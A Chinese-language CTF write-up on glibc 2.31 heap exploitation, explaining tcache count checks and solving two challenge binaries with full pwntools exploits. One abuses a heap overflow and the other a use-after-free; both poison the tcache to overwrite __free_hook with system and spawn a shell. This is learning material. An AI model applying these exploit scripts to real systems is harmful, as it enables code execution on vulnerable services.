2.31版本下的堆溢出和UAF
A1CTF PWN ‘ WP
校赛出的题是2.31版本的,正好符合学习进度,学完2.23的堆利用手法,2.26版本以后引入了tcache bin机制,在2.31之前我感觉tcachbin的利用方式跟fastbin没有很大的区别,2.26版本以上我们释放的小于0x420的堆块都会先进入对应大小的tcache bin中,当对应大小的tcache bin存够7个堆块后,才会按照之前的规则,小于0x80的进入fastbin,大于0x80的进入unsorted bin。然后2.31开始的tcachebin又引入了数量检测机制,free了多少个堆块进tcache bin,就最多申请多少次。具体手法看下面两道题就可以了。
1.safeheap
看到主函数是一个菜单,依次点进去,先看add函数,可以看到有个分支,如果输入0,则可以自定义申请的堆空间的大小,如果不是0,则默认申请0x50的堆空间,没有发现off-by-one漏洞
再来看delete函数,发现free之后将指针置0了,也没有UAF漏洞,但是可以发现,在之前add函数中自定义的大小dword_4160[idx]没有被删除
看edit函数,发现改写堆块内容的大小用的就是dword_4160[idx],那么就可以利用add和edit来实现堆溢出,实现堆溢出的思路:先用add函数中的自定义add申请一个较大的堆块,将其free,再用默认大小的add将刚才的相同序号的堆块申请回来,这样堆块的大小是0x50(+0x10),但是我们edit函数中执行的read函数用的却是我们第一次申请的较大的堆块的大小,那么我们再执行一次edit即可实现堆溢出
下面开始写exp:
先把菜单写好
在堆溢出之前我们要先得到libc的基地址,不同于2.23版本的是,2.26版本以上我们释放的小于0x420的堆块都会先进入对应大小的tcache bin中,当对应大小的tcache bin存够7个堆块后,才会按照之前的规则,小于0x80的进入fastbin,大于0x80的进入unsorted bin,那么这道题,我们直接释放一个大于0x420的堆块就能直接进入unsorted bin中,再将其申请回来,该堆块的fd指针上就会残留libc地址,show一下即可泄露libc地址,注意要多申请一个堆块来隔离top chunk,
注意菜单里面add内容的时候用send,然后add的内容填入换行符,这样的目的是尽可能小的影响libc的地址,如果用sendline再填一个字节内容的话,就会把fd指针的前两个字节覆盖掉,我们计算libc基地址的时候后三位是没有影响的,但是两个字节被覆盖就会影响fd指针的倒数第四位数,所以采取这种方法。用3号堆块的fd指针数值减去当前的libc基地址即可得到偏移,即可得到free_hook和system的地址
之后构造堆溢出,按照之前说过的思路,注意这里的6号堆块,它的作用是绕过2.31版本的tcache bin的数量检测,在2.31之前的版本,tcache bin还可以像2.23的fastbin attack一样释放一个堆块进去,修改堆块的fd指针,连续申请两次,第二次把伪造的堆块申请出来,但是2.31版本中,free了多少个堆块进tcache bin,就最多申请多少次,所以我们要把5号堆块的fd指针的free_hook申请出来的话,我们在这之前只释放5号堆块是不行的,多释放一个6号堆块才可以申请两次,在第二次把free_hook申请出来。
我们在第二次申请free_hook的时候,将内容改写为system,之后在申请一个堆块写入/bin/sh,然后delete即可提权。
完整exp:
from pwn import *context(log_level="debug", arch="amd64", os="linux")p = process("./safeheap")#p=remote('',)libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add_self(index,size,content):
p.recvuntil("4. edit")
p.sendline(b'1')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("default:")
p.sendline(str(0))
p.recvuntil("size:")
p.sendline(str(size))
sleep(0.1)
p.send(content)
def add(index,content):
p.recvuntil("4. edit")
p.sendline(b'1')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("default:")
p.sendline(str(123)) sleep(0.1)
p.send(content)
def edit(index,content):
p.recvuntil("4. edit")
p.sendline(b'4')
p.recvuntil("index:")
p.sendline(str(index))
sleep(0.1)
p.sendline(content)
def delete(index):
p.recvuntil("4. edit")
p.sendline(b'2')
p.recvuntil("index:")
p.sendline(str(index))
def show(index):
p.recvuntil("4. edit")
p.sendline(str(3))
p.recvuntil("index")
p.sendline(str(index))
def bug():
gdb.attach(p)
pause()
add_self(1,0x420,b"\n")add_self(2,0x20,b"\n")
delete(1)
add_self(3,0x60,b"\n")
show(3)
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))log.success('leak_addr is -->' + hex(leak_addr))bug()libc_base = leak_addr - 0x1ecf0alog.success('libc_base is -->' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']system = libc_base + libc.sym['system']
add_self(4,0x200,b'\n')delete(4)add(4,b"\n")
add_self(5,0x80,b"\n")add_self(6,0x80,b"\n")
delete(6)delete(5) # 5 -> 6
edit(4,b"a"*0x50 + p64(0) + p64(0x80 + 0x10 + 0x1) + p64(free_hook))
add_self(7,0x80,b"\n")add_self(8,0x80,p64(system))
add_self(9,0x100,b"/bin/sh\x00" + b"\n")
#bug()delete(9)
p.interactive()
运行脚本,成功提权
2.secret
打开ida,发现是第一题的改版,修复了add函数中的漏洞,无法再通过堆溢出攻击
发现main函数中多了一个函数,如果读入777则会进入这个函数中
发现是free之后没有将指针置0,UAF漏洞,但是要注意一点,byte_4010在执行一次该函数后会被置0,也就是说该函数只能用一次,所以泄露libc的时候还是不要用UAF的性质,将这一次UAF用到最致命的伪造堆块fd指针的地方
交互菜单跟第一题一样,多加入一个UAF函数
利用第一题相同方法泄露libc基地址
之后的攻击非常简单,先申请两个堆块再释放掉,注意4号堆块要用有UAF漏洞的函数释放,4号堆块进入tcache bin后指针没被置0,我们可以直接修改tcache bin中4号堆块的fd指针为free_hook,在申请两次把free_hook申请出来并将其修改为system,之后的打法也跟第一题一样了
完整exp:
from pwn import *context(log_level="debug", arch="amd64", os="linux")p = process("./secret")#p=remote('',)libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add_self(index,size,content):
p.recvuntil("4. edit")
p.sendline(b'1')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("default:")
p.sendline(str(0))
p.recvuntil("size:")
p.sendline(str(size))
sleep(0.1)
p.send(content)
def add(index,content):
p.recvuntil("4. edit")
p.sendline(b'1')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("default:")
p.sendline(str(123)) sleep(0.1)
p.send(content)
def edit(index,content):
p.recvuntil("4. edit")
p.sendline(b'4')
p.recvuntil("index:")
p.sendline(str(index))
sleep(0.1)
p.sendline(content)
def delete(index):
p.recvuntil("4. edit")
p.sendline(b'2')
p.recvuntil("index:")
p.sendline(str(index))
def show(index):
p.recvuntil("4. edit")
p.sendline(str(3))
p.recvuntil("index")
p.sendline(str(index))
def UAF(index):
p.recvuntil("4. edit")
p.sendline(b'777')
p.recvuntil('index: ')
p.sendline(str(index))
def bug():
gdb.attach(p)
pause()
add_self(1,0x420,b"\n")add_self(2,0x20,b"\n")
delete(1)
add_self(3,0x60,b"\n")
show(3)
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))log.success('leak_addr is -->' + hex(leak_addr))#bug()libc_base = leak_addr - 0x1ecf0alog.success('libc_base is -->' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']system = libc_base + libc.sym['system']
add(4,b'\n')add(5,b'\n')
delete(5)UAF(4)
edit(4,p64(free_hook))
add(6,b'\n')add(7,p64(system))
add(8,b'/bin/sh\x00')delete(8)
p.interactive()















